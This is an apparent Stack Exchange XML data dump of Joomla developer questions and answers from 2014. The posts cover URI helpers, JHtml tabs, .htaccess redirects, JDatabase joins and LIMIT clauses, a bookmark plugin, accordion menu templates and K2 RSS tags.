  <row Id="5631" PostTypeId="2" ParentId="5629" CreationDate="2014-12-10T14:51:39.497" Score="3" Body="&lt;p&gt;Will put this as a proper answer for a reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than using &lt;code&gt;JUri::root()&lt;/code&gt;, you need to use &lt;code&gt;JUri::base()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference being (I think) is that &lt;code&gt;root&lt;/code&gt; can be overridden, where as &lt;code&gt;base&lt;/code&gt; can't be. Might be wrong, but hopefully someone can clarify this.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-12-10T14:51:39.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5632" PostTypeId="2" ParentId="5616" CreationDate="2014-12-10T17:59:15.490" Score="4" Body="&lt;p&gt;Try something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;buttons = &quot;true&quot; | Show all buttons.&#xA;hide = &quot;article,image&quot; | An array of the buttons you want to hide.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;   name=&quot;myeditor&quot; &#xA;   label =&quot;label text&quot;&#xA;   type=&quot;editor&quot;&#xA;   editor=&quot;jce&quot;&#xA;   buttons=&quot;true&quot;&#xA;   width=&quot;450&quot;&#xA;   height=&quot;280&quot;&#xA;   hide=&quot;article,image&quot;&#xA;   filter=&quot;safehtml&quot;&#xA;   description=&quot;description text&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-12-10T17:59:15.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5633" PostTypeId="1" AcceptedAnswerId="5637" CreationDate="2014-12-10T18:26:06.743" Score="7" ViewCount="549" Body="&lt;p&gt;Using the below code, I can successfully create the tabs that I need, however, the Tabs do not contain any IDs for specific styling or jQuery work.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a &lt;em&gt;variable number of tabs&lt;/em&gt;, depending on User Group,etc., and most of them are updated on some interval with new information.  Updating the content of each Pane is not a problem as they &lt;em&gt;do&lt;/em&gt; have IDs, but addressing the relevant tab to alert the user of the new info is the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can the &lt;code&gt;$options&lt;/code&gt; array contain specifications for IDs to be generated?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Start Tabs&#xA;echo '&amp;lt;div class=&quot;tabbable tabs-left&quot;&amp;gt;';&#xA;echo JHtml::_('bootstrap.startTabSet', 'tab_group_ida', $options);&#xA;// Tab 1&#xA;echo JHtml::_('bootstrap.addTab', 'tab_group_ida', 'tabs_1a', 'Tab 1');&#xA;echo '&amp;lt;p&amp;gt;Pri putant iisque detracto ut.&amp;lt;/p&amp;gt;';&#xA;echo JHtml::_('bootstrap.endTab');&#xA;// Tab 2&#xA;echo JHtml::_('bootstrap.addTab', 'tab_group_ida', 'tabs_2a', 'Tab 2');&#xA;echo '&amp;lt;p&amp;gt;Duo delectus vivendum id, sit.&amp;lt;/p&amp;gt;';&#xA;echo JHtml::_('bootstrap.endTab');&#xA;// Tab 3&#xA;echo JHtml::_('bootstrap.addTab', 'tab_group_ida', 'tabs_3a', 'Tab 3');&#xA;echo '&amp;lt;p&amp;gt;Tamquam constituam an qui, ea.&amp;lt;/p&amp;gt;';&#xA;echo JHtml::_('bootstrap.endTab');&#xA;// End Tabs&#xA;echo JHtml::_('bootstrap.endTabSet');&#xA;echo '&amp;lt;/div&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Firebug view of the tabs:&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hFuvt.png&quot; alt=&quot;Firebug view&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2015-08-15T20:02:57.543" Title="JHtml Tabs have no IDs - how can I specify them?" Tags="|jquery|jhtml|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5634" PostTypeId="2" ParentId="5633" CreationDate="2014-12-10T18:28:00.440" Score="2" Body="&lt;p&gt;If you look at the source code of the page, you'll see that Joomla is using jQuery to append the LI and A elements at runtime.&#xA;You can use the same technique to add IDs, Classes, CSS, or any other attributes that you may need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use this jQuery code to add a prefix to the tab's name, then add the ID attribute to the anchor.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Insure the code is run &lt;em&gt;after&lt;/em&gt; Joomla creates the tabs, otherwise they won't yet exist to operate on.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;    var idPrefix = 'myId-';&#xA;    $(&quot;#tab_group_idaTabs li&quot;).each(function(li) {&#xA;        var a = $(this).children().first(&quot;a&quot;);&#xA;        var tabname = a.attr('href').replace('#','');&#xA;        a.attr('id',idPrefix + tabname);&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-12-11T21:39:23.853" LastActivityDate="2014-12-11T21:39:23.853" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5635" PostTypeId="1" CreationDate="2014-12-10T19:11:31.177" Score="0" ViewCount="249" Body="&lt;p&gt;Is there a way to trigger a popup on an end users browser in real time, not just when page loads,  sort of like a live push notification but instead a popup window (modal) opens up on the end users end with whatever content I have populated (i.e. survey, video, etc).  My site has live webinars so there is an audience there at all times, but I want to push them changing content in thepop up windows as necessary.&lt;/p&gt;&#xA;" OwnerUserId="2339" LastEditorUserId="2339" LastEditDate="2014-12-11T19:50:15.383" LastActivityDate="2014-12-11T19:50:15.383" Title="Realtime Push Popup window for website" Tags="|plugin|extensions|jquery|javascript|ajax|" AnswerCount="1" CommentCount="4" ClosedDate="2014-12-11T12:51:18.833" ContentLicense="CC BY-SA 3.0" />
  <row Id="5636" PostTypeId="2" ParentId="5635" CreationDate="2014-12-10T21:37:50.783" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;In Joomla, there is a similar concept called &lt;strong&gt;keepalive&lt;/strong&gt;. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JHtml::_('behavior.keepalive')&lt;/strong&gt; - Keep session alive, for example, while editing or creating an article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works simply calling to the site to keep session cookie alive. You can check how it is generated here: libraries/cms/html/behavior.php, function keepalive().&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Alternatively, you can find a plugin for the same feature in JED:  &lt;strong&gt;KeepaliveLight&lt;/strong&gt; &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/session-management/19814&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/core-enhancements/performance/session-management/19814&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In your case, instead of simply calling the index.php page, you have to check if there is webinar going on, and show a message in the site.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-12-10T21:37:50.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5637" PostTypeId="2" ParentId="5633" CreationDate="2014-12-11T07:41:26.960" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_selectors&quot; rel=&quot;nofollow&quot;&gt;Just use an attribute selector.&lt;/a&gt; You can target the href attribute in css with [href=&quot;#tabs_1a&quot;] for example. I have no experience with jQuery, but the example in GDPs answer uses attribute selectors to add ids, so I'd guess jQuery supports this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bottom line is that you do not really need to add anything, just use attribute selectors to target something already existing, in your case href.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes :nth-child is a viable alternative.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2014-12-11T07:41:26.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5638" PostTypeId="2" ParentId="5615" CreationDate="2014-12-11T08:08:45.087" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://support.google.com/webmasters/answer/139066&quot; rel=&quot;nofollow&quot;&gt;Since you asked about Google...&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The article really seems to cover everything I could think of. To avoid this being just a link, I'll pick one important part from there. Use a 301 redirect in .htaccess to redirect mail. addresses to www. addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can actually modify the general non-www to www rule I copied from the web:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} !^www\.&#xA;RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This checks if the host does not start with the www prefix and if it doesn't adds the www. In your case that would result in www.mail. prefix so replace the second line with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)$ http://www\.topspeedracer\.com/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You already know what the address is, so you don't need to use a variable.&#xA;Add somewhere between Rewrite Engine On and the Joomla sef rewrite rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no real experience with .htaccess, so the rules might have errors. The basic idea of doing a 301 redirect is what you want, though.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2014-12-11T08:08:45.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5639" PostTypeId="1" AcceptedAnswerId="5641" CreationDate="2014-12-11T09:32:11.047" Score="2" ViewCount="273" Body="&lt;p&gt;I'm attempting to pull user id's from users who are part of a group.  I then need to take those user id's and get the email addresses for those user id's.  The results need to be comma separated.  When I first attempted this I thought I just needed the user id's so I wrote the below.  This works great and gives me all of the id's in a comma separated list.  I'm stumped on how to now use the results of the below query to get the email addresses from the database lc_users WHERE 'id' = the results of the below query&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$db-&amp;gt;setQuery(&quot;SELECT `memberid` FROM `lc_community_groups_members` WHERE `groupid` = 1 AND `approved` = 1 &quot;);&#xA;$column = $db-&amp;gt;loadColumn();&#xA;return(implode(',',$column));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated&lt;/p&gt;&#xA;" OwnerUserId="3342" LastActivityDate="2019-03-17T11:10:32.250" Title="Getting data from mutiple JDatabase Tables based on results from first" Tags="|joomla-3.x|jdatabase|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5640" PostTypeId="2" ParentId="5639" CreationDate="2014-12-11T09:49:26.883" Score="0" Body="&lt;p&gt;Firstly, I would suggest you use the latest coding standards for your database query as shown on the documentation page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can actually combine everything into 1 query using a &lt;code&gt;join&lt;/code&gt; and should also use &lt;code&gt;#__&lt;/code&gt; as your database prefix which will automatically be replaced with &lt;code&gt;lc_&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not extremely confident with joins, I'll admit, but have a try of the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('a.*', 'b.memberid')))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__community_groups_members', 'a'))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('groupid') . ' = 1')&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('approved') . ' = 1')&#xA;      -&amp;gt;join('INNER', $db-&amp;gt;quoteName('#__users', 'b') . ' ON (' . $db-&amp;gt;quoteName('b.email') . ' = ' . $db-&amp;gt;quoteName('b.id') . ')')&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('b.id') . ' = ' . $db-&amp;gt;quote('b.memberid'));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$column = $db-&amp;gt;loadColumn();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="12352" LastEditDate="2019-03-17T11:10:32.250" LastActivityDate="2019-03-17T11:10:32.250" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="5641" PostTypeId="2" ParentId="5639" CreationDate="2014-12-11T10:08:08.940" Score="1" Body="&lt;p&gt;Yes, JOIN should do the trick. Here is my query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select($db-&amp;gt;quoteName('b.email'))&#xA;        -&amp;gt;from($db-&amp;gt;quoteName('#__community_groups_members', 'a'))&#xA;        -&amp;gt;leftJoin(&#xA;            $db-&amp;gt;quoteName('#__users', 'b')&#xA;            . ' ON (' . $db-&amp;gt;quoteName('b.id')&#xA;            . ' = '&#xA;            . $db-&amp;gt;quoteName('a.memberid') . ')'&#xA;        )&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('a.groupid') . ' = 1 ')&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('a.approved') . ' = 1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastEditorUserId="3" LastEditDate="2014-12-12T07:35:48.217" LastActivityDate="2014-12-12T07:35:48.217" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5642" PostTypeId="1" AcceptedAnswerId="5643" CreationDate="2014-12-11T12:50:30.103" Score="3" ViewCount="1074" Body="&lt;p&gt;We are developing a Joomla site where different types of articles will be posted and the users will bookmark the article to their user account and display it in their user profile. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is a recommended way to create this function or coding we are ready to do that, if not is there any module supporting this feature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The table format for this bookmark feature is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;arti_id | date_added | user_id | time_added | status &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the&lt;br&gt;&#xA;arti_id -&gt; Aritcal ID&lt;br&gt;&#xA;status  -&gt; Public / Private&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Others are common.&lt;/p&gt;&#xA;" OwnerUserId="3344" LastEditorUserId="1629" LastEditDate="2014-12-11T15:58:58.960" LastActivityDate="2016-11-09T16:19:26.673" Title="How to bookmark articles to user profile?" Tags="|joomla-3.x|development|jform|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5643" PostTypeId="2" ParentId="5642" CreationDate="2014-12-11T14:16:11.907" Score="2" Body="&lt;p&gt;Personally, I would suggest you create a plugin for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not going to write it out for you, but will show you the concept.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create your base plugin and to help, follow the documentation &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Create your database table with the columns you specified in your question.&lt;/li&gt;&#xA;&lt;li&gt;Your first function will need to add a bookmark button to all articles and should be done using the &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/Content#onContentPrepare&quot; rel=&quot;nofollow&quot;&gt;onContentPrepare&lt;/a&gt; event.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The second function should capture the button click and run a &lt;a href=&quot;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase&quot; rel=&quot;nofollow&quot;&gt;database query&lt;/a&gt; to add the bookmark. You can caption the &lt;a href=&quot;http://docs.joomla.org/Accessing_the_current_user_object&quot; rel=&quot;nofollow&quot;&gt;user object&lt;/a&gt; and ID easily using the code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;$user_id = $user-&amp;gt;id;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I assume you will also want to display a user's bookmarks somewhere. For this, I would suggest creating a simply modules that runs a database query, getting all results which match the &lt;code&gt;$user-&amp;gt;id;&lt;/code&gt; with the ID in &lt;code&gt;user_id&lt;/code&gt; column in your database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this points you in the right direction&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-12-11T14:16:11.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5644" PostTypeId="1" CreationDate="2014-12-11T14:37:05.083" Score="2" ViewCount="4998" Body="&lt;p&gt;I am building a Joomla and T3 Framework Template based website. Since I am having the Navbar not in it's native position (On Top), I had to come up with a work around. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using two Menu Modules of the &quot;Bootstrap accordion plugin&quot; now. The &quot;Big&quot; / Vertical Menu for big and medium sized screens and the second one appears in another module position, right on top. So far so good, everything works out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the Bootstrap Accordion Plugin and modify it right now. Here comes the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Menu in mobile screen size - has the button which extends the menu.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button type=&quot;button&quot; class=&quot;navbar-toggle collapsed&quot; data-toggle=&quot;collapse&quot; data-target=&quot;#mobmenu&quot;&amp;gt;&#xA;    &amp;lt;span class=&quot;sr-only&quot;&amp;gt;Toggle navigation&amp;lt;/span&amp;gt;&#xA;    &amp;lt;span class=&quot;icon-bar&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;span class=&quot;icon-bar&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;span class=&quot;icon-bar&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Button Works, but when I click on any menu entry the the page is loaded and the menu slides in again. That is annoying if you want to reach on of the sub menu items, because you first have to click the button to open the menu, click on the menu button, than the menu slides in again... and you have to activate the button again. Then it will show the menu with submenu items and you can click on the link and will get to the page. after this the menu slides in again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to have the menu activated at all time, it should not slide in with any menu click. Only a second click on the Menu Button should make it slide in again, when the user decides to. How do I have to modify this code in order to make it work that way? Thank you for your help .. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;?php&#xA;/**&#xA; * Joomla! module - Bootstrap Accordion Menu&#xA; *&#xA; * @author Yireo (info@yireo.com)&#xA; * @copyright Copyright 2012 Yireo.com. All rights reserved&#xA; * @license GNU Public License&#xA; * @link http://www.yireo.com&#xA; */&#xA;&#xA;// Deny direct access&#xA;defined('_JEXEC') or die;&#xA;?&amp;gt;&#xA;&amp;lt;?php if($params-&amp;gt;get('load_js', 1) == 1) : ?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;if (typeof modBootstrapAccordionMenu_hover === &quot;undefined&quot;) {&#xA;  var modBootstrapAccordionMenu_hover = &amp;lt;?php echo (int)$params-&amp;gt;get('js_hover', 0); ?&amp;gt;;&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;accordion&quot; id=&quot;&amp;lt;?php echo $tag_id; ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;button type=&quot;button&quot; class=&quot;navbar-toggle collapsed&quot; data-toggle=&quot;collapse&quot; data-target=&quot;#mobmenu&quot;&amp;gt;&#xA;        &amp;lt;span class=&quot;sr-only&quot;&amp;gt;Toggle navigation&amp;lt;/span&amp;gt;&#xA;        &amp;lt;span class=&quot;icon-bar&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;span class=&quot;icon-bar&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;span class=&quot;icon-bar&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;      &amp;lt;/button&amp;gt;&#xA;    &amp;lt;div class=&quot;accordion-group collapse navbar-collapse&quot; id=&quot;mobmenu&quot;&amp;gt;&#xA;        &amp;lt;?php foreach($parents as $parent) : ?&amp;gt;&#xA;        &amp;lt;?php $collapse_status = ($parent-&amp;gt;active) ? 'in' : 'out'; ?&amp;gt;&#xA;        &amp;lt;div class=&quot;accordion-heading&quot;&amp;gt;&#xA;            &amp;lt;?php if(!empty($parent-&amp;gt;childs)) : ?&amp;gt;&#xA;            &amp;lt;a class=&quot;menulist accordion-toggle accordion-parent &amp;lt;?php echo implode(' ', $parent-&amp;gt;classes); ?&amp;gt;&quot; data-toggle=&quot;collapse&quot; data-parent=&quot;#&amp;lt;?php echo $tag_id; ?&amp;gt;&quot; data-href=&quot;&amp;lt;?php echo $parent-&amp;gt;href; ?&amp;gt;&quot; href=&quot;#&amp;lt;?php echo $parent-&amp;gt;html_id; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $parent-&amp;gt;title; ?&amp;gt;&amp;lt;i class=&quot;fa fa-chevron-down pull-right&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;?php else: ?&amp;gt;&#xA;            &amp;lt;a class=&quot;menulist accordion-toggle &amp;lt;?php echo implode(' ', $parent-&amp;gt;classes); ?&amp;gt; dropdown-toggle&quot; href=&quot;&amp;lt;?php echo $parent-&amp;gt;href; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $parent-&amp;gt;title; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php if(!empty($parent-&amp;gt;childs)) : ?&amp;gt;&#xA;        &amp;lt;div id=&quot;&amp;lt;?php echo $parent-&amp;gt;html_id; ?&amp;gt;&quot; class=&quot;accordion-body collapse &amp;lt;?php echo $collapse_status; ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;accordion-inner&quot;&amp;gt;&#xA;                &amp;lt;?php modBootstrapAccordionMenuHelper::submenu($parent-&amp;gt;childs); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: &#xA;This is the code which sits in a second file, needed for the submenu. I have created a &lt;strong&gt;mod_overwrite&lt;/strong&gt; for both files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure if you need this code as well .. but just in case .. here it is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Joomla! module - Bootstrap Accordion Menu&#xA; *&#xA; * @author Yireo (info@yireo.com)&#xA; * @copyright Copyright 2012 Yireo.com. All rights reserved&#xA; * @license GNU Public License&#xA; * @link http://www.yireo.com&#xA; */&#xA;&#xA;// Deny direct access&#xA;defined('_JEXEC') or die;&#xA;?&amp;gt;&#xA;&amp;lt;ul class=&quot;menulist&quot;&amp;gt;&#xA;    &amp;lt;?php foreach($items as $item) : ?&amp;gt;&#xA;    &amp;lt;li class=&quot;&amp;lt;?php echo implode(' ', $item-&amp;gt;classes); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo $item-&amp;gt;href; ?&amp;gt;&quot; class=&quot;menulist&quot;&amp;gt;&amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php if(!empty($item-&amp;gt;childs)) : ?&amp;gt;&#xA;        &amp;lt;?php modBootstrapAccordionMenuHelper::submenu($item-&amp;gt;childs); ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2332" LastEditorUserId="126" LastEditDate="2015-12-04T19:44:28.353" LastActivityDate="2015-12-04T19:44:28.353" Title="Responsive Navbar disappears on click / should stay open" Tags="|fix-my-code|bootstrap|t3-framework|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="5645" PostTypeId="1" AcceptedAnswerId="5646" CreationDate="2014-12-11T15:32:39.570" Score="8" ViewCount="4443" Body="&lt;p&gt;Given the desired SQL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM #__tablename LIMIT 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I use $query to accomplish it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();       &#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;nameQuote('*'));&#xA;$query-&amp;gt;from($db-&amp;gt;nameQuote('#__tablename'));      &#xA;$db-&amp;gt;setQuery($query);      &#xA;$rows = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2018-06-22T16:45:46.367" Title="How to use LIMIT in getQuery" Tags="|jdatabase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5646" PostTypeId="2" ParentId="5645" CreationDate="2014-12-11T15:38:15.100" Score="9" Body="&lt;p&gt;Both J2.5 and 3.x will vary.&lt;/p&gt;&#xA;&lt;h3&gt;Joomla 2.5:&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery($query, 0, 5); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where &lt;code&gt;0&lt;/code&gt; is the &lt;strong&gt;start/offset&lt;/strong&gt; and &lt;code&gt;5&lt;/code&gt; is the &lt;strong&gt;limit&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Joomla 3.x&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;setLimit(5);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This also accepts a 2nd argument which is the &lt;strong&gt;offset&lt;/strong&gt;, but is not required&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2018-06-22T16:45:46.367" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="5647" PostTypeId="1" CreationDate="2014-12-11T16:33:54.383" Score="1" ViewCount="417" Body="&lt;p&gt;I want to show the tags, that are assigned to a K2 item, in an RSS feed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$feedItem-&amp;gt;tags = $tag;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to /components/com_k2/views/itemlist/viewfeed.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$feed .= &quot;          &amp;lt;tags&amp;gt;&quot; . htmlspecialchars($data-&amp;gt;items[$i]-&amp;gt;tags, ENT_COMPAT, 'UTF-8') . &quot;&amp;lt;/tags&amp;gt;\n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to /libraries/joomla/document/feed/renderer/rss.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the placeholder in the RSS feed view of  but the tags aren't being show. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas where I'm going wrong?&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2014-12-12T09:09:18.107" LastActivityDate="2015-01-18T12:27:19.210" Title="Include K2 tags in RSS feed" Tags="|php|joomla-3.3.x|k2|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5648" PostTypeId="2" ParentId="5623" CreationDate="2014-12-11T19:09:41.073" Score="3" Body="&lt;p&gt;When using the above command to retrieve server request data, the form fields are organized in a key/value array.  Which fieldset is irrelevant to retrieving the data from the array, simply use the form field name given in the XML form definition file.  So, if you had a field called 'first_name' you would access like so regardless of which fieldset:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('jform', array(), 'array');&#xA;$data['first_name']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2014-12-11T19:09:41.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
